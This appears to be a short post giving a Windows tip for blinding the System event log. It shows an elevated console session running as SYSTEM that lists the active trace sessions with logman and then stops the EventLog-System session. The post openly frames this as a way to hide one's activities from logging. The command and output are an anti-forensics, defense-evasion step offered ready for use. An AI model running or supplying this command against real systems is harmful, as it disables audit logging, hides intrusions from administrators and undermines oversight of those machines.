Does "System" Event Log register your activities and you do not like it for some reason? Make it blind with one command: logman stop EventLog-System -ets

Administrator: C:\Windows\system32\cmd.exe

```
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>logman query -ets

Data Collector Set                                     Type
-----
Eventlog-Security                                     Trace
AppModel                                              Trace
MSDTC_TRACE_SESSION                                 Trace
DiagLog                                               Trace
EventLog-Application                                Trace
EventLog-System                                     Trace
NtfsLog                                               Trace
UAL_Usermode_Provider                              Trace
TileStore                                            Trace
UBPM                                                  Trace
WdiContextLog                                        Trace
MpWppTracing-20210209-080859-00000003-ffffffff Trace
WindowsUpdate_trace_log                             Trace
Diagtrack-Listener                                  Trace
UAL_Kernelmode_Provider                             Trace
NetCfgTrace                                          Trace

The command completed successfully.

C:\Windows\system32>logman stop EventLog-System -ets
The command completed successfully.

C:\Windows\system32>
```
